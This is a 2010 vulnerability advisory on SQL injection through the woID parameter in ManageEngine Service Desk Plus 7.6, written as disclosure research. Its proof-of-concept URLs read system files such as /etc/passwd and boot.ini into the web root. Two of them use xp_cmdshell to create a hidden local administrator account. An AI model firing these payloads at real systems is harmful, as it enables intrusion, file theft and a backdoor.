Advisory Name: SQL injection in Manage Engine Service Desk Plus 7.6

Vulnerability Class: SQL injection

Release Date: 03-18-2010

Affected Applications: Confirmed in version 7.6. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged. Not fixed.

Vulnerability Description:

A Vulnerability has been discovered in Manage Engine Service Desk Plus, which can be exploited by malicious people to conduct SQL injection attacks.

Input passed via the "woID" parameter to WorkOrder.do is not properly sanitized before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The vulnerability is confirmed in version 7.6. Other versions may also be affected.

Proof of Concept:

Microsoft Windows Environment with MySQL:

http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=WorkOrder.WORKORDERID=6) union select 1,2,3,4,5,6,7,8,load_file("c:\\boot.ini"),10,11,12,13,14,15,16,17,18,19,1 into dumpfile 'C:\\ManageEngine\\ServiceDesk\\applications\\extracted\\AdventNetServiceDesk.eear\\AdventNetServiceDeskWC.ear\\AdventNetServiceDesk.war\\images\\boot.ini'/*

then browse, http://x.x.x.x:8080/images/boot.ini

Microsoft Windows Environment with MSSQL:

http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=1); EXEC xp_cmdshell 'net user moebius m03biu5inj3ct$ /add';--

http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=1); EXEC xp_cmdshell 'net localgroup administrators moebius /add';--

GNU/Linux with MySQL:

http://x.x.x.x:8080/WorkOrder.do?woMode=viewWO&woID=1%29%20union%20select%201,2,3,4,5,6,7,8,load_file%28%27/etc/passwd%27%29,10,11,12,13,14,15,16,17,18,19,20%20into%20dumpfile%20%27/home/moebius/ManageEngine/ServiceDesk/applications/extracted/AdventNetServiceDesk.eear/AdventNetServiceDeskWC.ear/AdventNetServiceDesk.war/images/passwd.txt%27/*

then browse, http://x.x.x.x:8080/images/passwd.txt

Impact: Execute arbitrary SQL queries.

Solution: Not fixed.

Vendor Response:

First contact on January 12, 2010. Last contact on March 15, 2010. They won't fix this issue in the upcoming hotfix. I consider that 2 months is a really long time to fix this kind of High priority issue. The vendor knows that this advisory will be released. No more contact since then.

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
nahuel.grisolia <at> gmail <dot> com